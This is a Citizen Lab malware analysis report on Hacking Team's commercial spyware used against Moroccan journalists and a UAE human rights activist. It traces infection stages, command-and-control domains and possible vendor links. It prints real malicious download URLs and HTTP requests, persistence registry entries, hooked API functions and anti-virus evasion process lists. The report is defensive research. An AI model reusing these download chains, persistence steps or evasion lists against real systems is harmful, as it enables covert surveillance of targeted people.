INTRODUCTION

In this report, Citizen Lab Security Researcher Morgan Marquis-Boire describes analysis performed on malicious software used to compromise a high profile dissident residing in the United Arab Emirates. The findings indicate that the software is a commercial surveillance backdoor distributed by an Italian company known as Hacking Team. The report also describes the potential involvement of vulnerabilities sold by the French company, VUPEN.

In July of this year, Morgan Marquis-Boire and Bill Marczak published analysis of what appeared to be FinSpy, a commercial trojan from the FinFisher suite of surveillance tools sold by Gamma Group International. Their report, *From Bahrain with Love: FinFisher’s Spykit Exposed?*, presented evidence consistent with the use of FinSpy to target Bahraini dissidents, both within Bahrain and abroad.

A range of other companies sell surveillance backdoors and vulnerabilities for what they describe as “lawful intercept tools.” Recently CSO magazine published an article reporting on claims by anti-virus company Dr Web that a backdoor known as “Crisis” or “DaVinci” was, in fact, the commercial surveillance tool “Remote Control System” sold by Milan, Italy-based lawful intercept vendor Hacking Team. According to an article published by Slate, the same backdoor was used to target Moroccan citizen journalist group Mamfakinch.

This report examines the targeting of Mamfakinch and evidence suggesting that the same commercial surveillance toolkit described in these articles appears to have also been used in a recent campaign targeting Ahmed Mansoor, a human rights activist based in the United Arab Emirates (UAE). Additionally, it examines the possibility that a vulnerability linked to the French company VUPEN was used as the vector for intrusion into Ahmed Mansoor’s online presence.
The findings of this report contribute to a body of evidence of a growing commercial market for offensive computer network intrusion capabilities developed by companies in Western democratic countries. While the majority of these companies claim to sell their products to a restricted client base of law enforcement, military, and intelligence agencies, this report shows another example of commercial network intrusion tools being used against dissidents in countries with poor human rights records.

The market for commercial computer network intrusion capabilities has become a focus of controversy and debate about regulatory and legal controls that might be exercised over sales to such regimes or uses of the technology to target dissidents. Following the publication of *From Bahrain with Love: FinFisher’s Spykit Exposed*, the UK government reaffirmed that existing controls restricting the export of cryptographic systems apply to the Gamma Group’s exports of FinSpy.

In general, targeted malware attacks are an increasing problem for human rights groups, who can be particularly vulnerable to such attacks due to limited resources or lack of security awareness.

**RECENT BACKGROUND: DA VINCI AND MAMFAKINCH.COM**

On Friday the 13th of July 2012, the Moroccan citizen media and journalism project Mamfakinch was targeted by an electronic attack that used surveillance malware. Mamfakinch.com, a website that is frequently critical of the Moroccan government, received a message via their website directing recipients to a remote webpage:

```
Svp ne mentionnez pas mon nom ni rien du tout je ne veux pas d embrouilles...
http://freeme.eu5.org/scandale%20(2).doc
```

The text, which hints at a sensitive scoop or lead translates roughly as “please don’t mention my name and don’t say anything at all [about me] I don’t want to get mixed up in this”.

The logs of the website reveal this message was sent from Moroccan IP space:

"https://www.mamfakinch.com/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101
Firefox/13.0.1"
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1"
41.137.57.198 - - [13/Jul/2012:20:48:47 +0100] "GET /nous-contacter/?_wpcf7_is_ajax_call=1&_wpcf7=2782 HTTP/1.1" 200 9886
"https://www.mamfakinch.com/nous-contacter/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0)
Gecko/20100101 Firefox/13.0.1"
41.137.57.198 - - [13/Jul/2012:20:50:08 +0100] "POST /nous-contacter/ HTTP/1.1" 200 139
"https://www.mamfakinch.com/nous-contacter/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0)
Gecko/20100101 Firefox/13.0.1"
41.137.57.198 - - [13/Jul/2012:20:50:12 +0100] "GET /nous-contacter/ HTTP/1.1" 200 9887
"https://www.mamfakinch.com/nous-contacter/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0)
Gecko/20100101 Firefox/13.0.1"
41.137.57.198 - - [13/Jul/2012:20:50:14 +0100] "GET /nous-contacter/?_wpcf7_is_ajax_call=1&_wpcf7=2782 HTTP/1.1" 200 9888
"https://www.mamfakinch.com/nous-contacter/" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0)
Gecko/20100101 Firefox/13.0.1"

The IP from which the targeting message was uploaded (41.137.57.198) is from a Moroccan range dedicated to mobile 3G Internet users in the capital Rabat and its surroundings:

inetnum: 41.137.56.0 - 41.137.57.255
netname: INWI-PDSN1-Rabat001
country: MA
admin-c: AN2-AFRINIC
tech-c: AN2-AFRINIC

The page, found at http://freeme.eu5.org/scandale%20(2).doc prompted the user for the installation of malicious java, file, “adobe.jar”: 
This file then facilitated the installation of a multi-platform (OSX and Windows) backdoor.

In the contents of the .jar you can see files called “win” and “mac” which correspond to Windows and OSX backdoors respectively:

The Windows backdoor contains a variety of clear-text strings which are found in the SSH-client, “Putty”. The OSX version of the backdoor, however, contains what appear to be to debug strings referencing the name of the developer, ‘Guido’:

Execution of the Windows backdoor writes the following files to disk:
The file ‘ZsROY7X.-MP’ appears to provide the main backdoor functionality:

```
c093b72cc249c07725ec3c2e882a1842fe56c8a273588f03778bf5464eb7bd43c ZsROY7X.-MP’
```

It is executed via rundll32 and the following registry entry created to ensure persistence:

```
HKU\s-1-5-21-1177238915-1336601894-725345543-500\software\microsoft\windows\currentversion\run\*J7PugHy C:\WINDOWS\system32\rundll32.exe "C:\DOCUME~1\ADMINI~1\LOCALS~1\jlc3V7we\IZsROY7X.-MP",F1dd208
```

Processes such as iexplorer.exe and wscntfy.exe are infected. Examination of loaded modules for “wscntfy.exe” reveals:

```
C:\DOCUME~1\ADMINI~1\LOCALS~1\jlc3V7we\IZsROY7X.-MP
C:\WINDOWS\system32\winhttp.dll
C:\WINDOWS\system32\ws2_32.dll
C:\WINDOWS\system32\ws2help.dll
C:\WINDOWS\system32\ole32.dll
C:\WINDOWS\system32\oleaut32.dll
C:\WINDOWS\system32\imm32.dll
```

The backdoor has been identified as a variant of a commercial backdoor sold by the Italian Company “Hacking Team”. First identified by Russian Antivirus company Dr Web on July 25th, 2012, the backdoor has been called “Remote Control System,” “Crisis” and “DaVinci”.

The Hacking Team Remote Control System (RCS) is described in a leaked copy of their promotional literature as:

“A stealth, spyware-based system for attacking, infecting and monitoring computers and smartphones. Full intelligence on target users even for encrypted communications (Skype, PGP, secure web mail, etc.)."
The Hacking Team public website stipulates that their technology is sold only to a restricted customer base: 
“...we provide effective, easy-to-use offensive technology to the worldwide law enforcement and intelligence communities.”

UAE HUMAN RIGHTS ACTIVIST COMPROMISED

Ahmed Mansoor is a prominent UAE blogger and one of the ‘UAE Five’, a group of Emirati activists who were imprisoned from April to November 2011 on charges of insulting President Khalifa bin Zayed Al Nahyan, Vice President Mohammed bin Rashid Al Maktoum, and Crown Prince Mohammed bin Zayed Al Nahyan of the United Arab Emirates.

On the 23rd of July, he received the following email (click image to enlarge):

This email, sent from a suggestively titled e-mail address, urges the recipient to read a ‘very important message’ and it contained the following attachment:

The attachment is malicious. To the user it appears to be a Microsoft Word document, however it in fact is an RTF file containing an exploit which allows the execution of code that downloads surveillance malware.

This document exploits a stack-based buffer overflow in the RTF format that has been previously characterized:
"Stack-based buffer overflow in Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011, and Open XML File Format Converter for Mac allows remote attackers to execute arbitrary code via crafted RTF data, aka "RTF Stack Buffer Overflow Vulnerability.""

When Ahmed Mansoor opened the document, his suspicions were aroused due to garbled text displayed. His email account was later accessed from the following suspicious IPs:
ANALYSIS OF “VERYIMPORTANT.DOC”

The file “veryimportant.doc” is a downloader that downloads the second stage of the malware via HTTP:

```
GET /0000000031/veryimportant.doc2 HTTP/1.1
Host: ar-24.com
```

Examination of the sample displays use of the windows API to download the 2nd stage:

```
00176de0 89 44 24 1c 61 c3 77 69 6e 69 6e 65 74 00 68 74 \n00176df0 74 70 3a 2f 2f 61 72 2d 32 34 3e 2e 6e 6d 6f 6d \n00176e00 31 73 31 2f 61 6e 64 6f 77 69 66 69 63 6c 65 \n00176e10 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 \n00176e20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

The 2nd stage is called “veryimportant.doc2”:

```
b5462a2be69d268a7d581fe9ee36e8f31d5e1362d01626e275e8f58029e15683 veryimportant.doc2
```
This is also a downloader that downloads the 3rd stage which appears to be the actual backdoor:

The executable code is downloaded from: http://ar-24.com/0000000031/veryimportant.doc3

Similar in behavior and appearance to the windows version of the RCS backdoor which targeted Mamfakinch, ‘veryimportant.doc3’ contains a variety of clear-text strings which are found in the SSH-client, “Putty”. On execution, “veryimportant.doc3” writes the following files to disk:

The following command is run, executing the file: “V46lMhsH.shv"
This then infects the following processes:

- explorer.exe
- iexplore.exe
- wsntfy.exe
- reader_sl.exe
- VMwareUser.exe

For example if we examine the process ‘wsntfy.exe” the following modules are loaded:

```
C:\DOCUME~1\ADMINI~1\LOCALS~1\UbY5xEC\V46lMhsH.shv",F7ed728
C:\WINDOWS\System32\rundll32.exe
"C:\DOCUME~1\ADMINI~1\LOCALS~1\UbY5xEC\V46lMhsH.shv",F7ed728
explorer.exe
iexplore.exe
wsntfy.exe
reader_sl.exe
VMwareUser.exe
```
Examination of this process in the memory of an infected machine reveals the following functions are hooked by the malware:

- Function: ntdll.dll!NtDeviceIoControlFile at 0x7c90d27e
- Function: ntdll.dll!NtEnumerateValueKey at 0x7c90d2ee
- Function: ntdll.dll!NtQueryDirectoryFile at 0x7c90d76e
- Function: ntdll.dll!NtQueryKey at 0x7c90d85e
- Function: ntdll.dll!NtQuerySystemInformation at 0x7c90d92e
- Function: kernel32.dll!CreateFileW at 0x7c810800
- Function: kernel32.dll!CreateProcessA at 0x7c80236b
- Function: kernel32.dll!CreateProcessW at 0x7c802336
- Function: kernel32.dll!DeleteFileW at 0x7c831f63
- Function: kernel32.dll!MoveFileW at 0x7c821261
- Function: kernel32.dll!ReadConsoleA at 0x7c872b5d
- Function: kernel32.dll!ReadConsoleInputA at 0x7c874613
- Function: kernel32.dll!ReadConsoleInputExA at 0x7c874659
- Function: kernel32.dll!ReadConsoleInputExW at 0x7c87467d
- Function: kernel32.dll!ReadConsoleInputW at 0x7c874636
- Function: kernel32.dll!ReadConsoleW at 0x7c872bac
- Function: USER32.dll!CreateWindowExA at 0x7e42e4a9
- Function: USER32.dll!CreateWindowExW at 0x7e42d0a3
- Function: USER32.dll!GetMessageA at 0x7e42772b
- Function: USER32.dll!GetMessageW at 0x7e4191c6
- Function: USER32.dll!PeekMessageA at 0x7e42a340
- Function: USER32.dll!PeekMessageW at 0x7e41929b
- Function: GDI32.dll!CreateDCA at 0x77f1b7d2
- Function: GDI32.dll!CreateDCW at 0x77f1be38
- Function: GDI32.dll!DeleteDC at 0x77f16e5f
- Function: GDI32.dll!EndDoc at 0x77f2def1
We can see the malware infecting the process “wscntfy.exe”, visible in the memory region of the process which is marked as executable and writeable:
Here we see inline hooking of “NtQuerySystemInformation” performed by the malware, a technique frequently used to allow process hiding:

A registry key is added which ensures the persistence of the backdoor after reboot:

HKU\s-1-5-21-1177238915-1336601894-725345543-500\software\microsoft\windows\currentversion\run\*Ulo4r7M C:\WINDOWS\system32\rundll32.exe "C:\DOCUME~1\ADMINI~1\LOCALS~1\UbY5xEcD\V461MhsH.shv",F7ed728 REG_EXPAND_SZ 0
The file “V46lMhsH.shv” appears to perform the main backdoor functionality:

```
1df1bd11154224bcf015db8980a3c490b1584f49d4a34dde19c19bc0662ebda2 V46lMhsH.shv
```

Further investigation of the implant reveals strings relating to popular anti-rootkit and anti-virus software, suggesting evasion of specific products:

```
fsm32.exe
pcts*.exe
rootkitbuster.exe
k7*.exe
avk.exe
admin.exe
avp.exe
bgscan.exe
pavark.exe
rku*.exe
svv.exe
IceSword.exe
gmer.exe
avgscanx.exe
RootkitRevealer.exe
avscan.exe
avgarkt.exe
sargui.exe
fsbl.exe
blbeta.exe
Unhackme.exe
hiddenfinder.exe
hackmon.exe
TaskMan.exe
KProcCheck.exe
```
We can also see the targeting of popular browsers:

- chrome.exe
- iexplore.exe
- firefox.exe
- opera.exe

And popular messaging clients:

- yahoomessenger.exe
- msnmsgr.exe
- skype.exe
- winmm.DLL
- googletalk.exe
- Googletalk.exe
- YahooMessenger.exe

The Windows implant includes a signed AMD64 driver. The certificate was issued by Verisign to "OPM Security Corporation".

<table>
<thead>
<tr>
<th>CommonName:</th>
<th>OPM Security Corporation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status:</td>
<td>Valid</td>
</tr>
<tr>
<td>Class:</td>
<td>Digital ID Class 3 - Software Validation</td>
</tr>
<tr>
<td>Organization:</td>
<td>OPM Security Corporation</td>
</tr>
<tr>
<td>Organizational Unit:</td>
<td>Digital ID Class 3 - Microsoft Software Validation v2 Applications</td>
</tr>
<tr>
<td>State:</td>
<td>Panama</td>
</tr>
<tr>
<td>City/Location:</td>
<td>Panama</td>
</tr>
<tr>
<td>Country:</td>
<td>PA</td>
</tr>
<tr>
<td>Serial Number:</td>
<td>21f33716e4db06fcf8641e0287e1e657</td>
</tr>
<tr>
<td>Issuer Digest:</td>
<td>4bc6f9b106c333db6c6a5b28e6738f7e</td>
</tr>
</tbody>
</table>
OPM security appears to be a Panama based company.\(^8\)

Calle 50 Edificio Credicorpbank, Office 604
Panama
Republic of Panamá
Telephone +507-832-7893

From their website:\(^9\)

“From Panama to the World, OPM Security Corporation provides personal and institutional security tools and anonymity to you and your business.”

OPM Security is an OPM Corporation company.\(^10\) On their website, [http://taxhaven.us](http://taxhaven.us), OPM Corporation states:

“O.P.M. CORPORATION, has been one of the leading providers of Offshore services since 1992 (check 266794). Through our headquarters in Panama, our Caporaso & Partners Law Office (check 25210) and correspondent offices in South America and Caribbean, we offer the best offshore packages.”

**COMMAND AND CONTROL**

This malware calls back to the command and control domain: ar-24.com

This domain is registered through GoDaddy:

<table>
<thead>
<tr>
<th>Domain Name: AR-24.COM</th>
</tr>
</thead>
<tbody>
<tr>
<td>Registrar: GODADDY.COM, LLC</td>
</tr>
<tr>
<td>Whois Server: whois.godaddy.com</td>
</tr>
<tr>
<td>Referral URL: <a href="http://registrar.godaddy.com">http://registrar.godaddy.com</a></td>
</tr>
</tbody>
</table>

As of October 1st, 2012 this domain appears to be pointing to a Linode\(^11\) instance:

ar-24.com has address 50.116.38.37
During August 2012, for a short period, this domain resolved to 83.111.56.188:

| inetnum: 83.111.56.184 - 83.111.56.191 |
| netname: minaoffice-EMIRNET |
| descr: Office Of Sh. Tahnoon Bin Zayed Al Nahyan |
| descr: P.O. Box 5151 , Abu Dhabi, UAE |
| country: AE |

The physical address in the domain record (P.O. Box 5151, Abu Dhabi, UAE) matches the address for the corporate headquarters of Royal Group, which is a conglomerate of companies based in the UAE.

**IDENTIFICATION**

This malware contains the following strings:

```plaintext
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\vmplayer.exe
vixDiskMountServer.exe
[Inf. Module]: Spread to VMWare %S
  - VMWare Installation........OK
  .vmdk"
  .vmx"
\VMware\preferences.ini

Rim.Desktop.exe

[Inf. Module]: Spread to Mobile Device
  - WM SmartPhone Installation....OK

[Inf. Module]: Spread to USB Drive
  - USB Drive Installation........OK
```
The strings describing the Virtual Machine infection are the same as those described in the Symantec report on the Moroccan malware.

In addition to the similarities between the sample that Symantec and Dr. Web identified as being written by Hacking Team, “veryimportant.doc” is very structurally similar to this sample found on Virus Total.

This sample uses the following domain for command and control: rcs-demo.hackingteam.it

81e9647a3371568cddd0a4db597de84231797773d910d9a7b3d945cb2c3b7e1c2

Remote Control System can monitor and log any action performed by means of a personal computer:
Web Browsing
Opened/Closed/Deleted Files
Keystrokes (any UNICODE language)
Printed Documents
Chat, email, instant messaging
Remote Audio Spy
Camera Snapshots
Skype Conversations

This information indicates that the sample matching “veryimportant.doc” may be a demo copy of the Hacking Team RCS backdoor. Promotional materials for this backdoor advertise the following features:

The same promotional document mentions “Zero-day exploits” as a possible remote infection vector.

An additional sample with structural similarities to the 1st and 2nd stages was discovered in Virus Total.

This sample uses an exploit that has similarities in shellcode with "veryimportant.doc" however, the exploit it uses is newer, the Adobe Flash Player "Matrix3D" Integer Overflow. Searching for the origin of this exploit revealed a public mailing list post taking credit for discovery of this bug stating: "This vulnerability was discovered by Nicolas Joly of VUPEN Security".

VUPEN are a French Security company who provide a variety of services including the sale of: "...extremely sophisticated and government grade exploits specifically designed for offensive missions." They claim to have discovered the vulnerability in January of this year at which point they shared this with their customers, prior to public disclosure in August.
2012-01-25 - Vulnerability discovered by VUPEN and shared with customers
2012-08-21 - Public disclosure

The sample appears to have been created in May of 2012 prior to public disclosure:

Created = 2012-05-15T10:39:00Z
Last Saved by = "1785429"
Generator = "Microsoft Office Word"
Last Modified = 2012-05-15T10:39:00Z

While VUPEN take public credit for the discovery of this bug, it is possible that the exploit used here was not written by VUPEN but was independently discovered and weaponized by another party.

RECOMMENDATIONS

The use of social engineering and commercial surveillance software attacks against activists and dissidents is becoming more commonplace.

For at risk communities, gaining awareness of targeted threats and exercising good security practices when using email, Skype, or any other communication mechanism are essential. Users should be vigilant concerning all e-mails, attached web links, and files. In particular, carefully assess the authenticity of any such materials referencing sensitive subject matter, activities, or containing misspellings or unusual diction. If you believe that you are being targeted be especially cautious when downloading files over the Internet, even from links that are purportedly sent by friends.

For further tips on detecting potential malware attacks and preventing compromise, see Citizen Lab’s recommendations for defending against targeted attacks.

ACKNOWLEDGEMENTS

Malware analysis and report by Morgan Marquis-Boire.
Additional analysis by Andrew Lyons, Bill Marczak and Seth Hardy.

Additional Thanks

Thanks to Eva Galperin of the Electronic Frontier Foundation for activist outreach work with Mamfakinch.

Thanks to Chris Davis and The Secure Domain Foundation for malware and DNS information.

Additional thanks to John Scott-Railton.
FOOTNOTES

1 http://hackingteam.it/
2 https://www.mamfakinch.com/
3 https://www.mamfakinch.com/
4 http://wikileaks.org/spyfiles/files/0/31_200810-ISS-PRG-HACKINGTEAM.pdf
5 http://hackingteam.it/index.php/about-us
6 https://en.wikipedia.org/wiki/UAE_Five
7 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333
8 http://www.opmsecurity.com/security-tools/who-we-are.html
9 http://www.opmsecurity.com/
10 http://taxhavens.us/
12 http://wikileaks.org/spyfiles/files/0/31_200810-ISS-PRG-HACKINGTEAM.pdf
13 http://www.securityfocus.com/archive/1/524143/30/60/threaded
14 http://www.vupen.com/english/

MEDIA COVERAGE

- The Globe and Mail
- Slate
- New York Times
- eWeek
- InfoSecurity Magazine
- TechWeek Europe
- Liquida Magazine (Italian)

About the Author

Morgan Marquis-Boire is a Technical Advisor at the Citizen Lab, Munk School of Global Affairs, University of Toronto. He works as a Security Engineer at Google specializing in Incident Response, Forensics and Malware Analysis.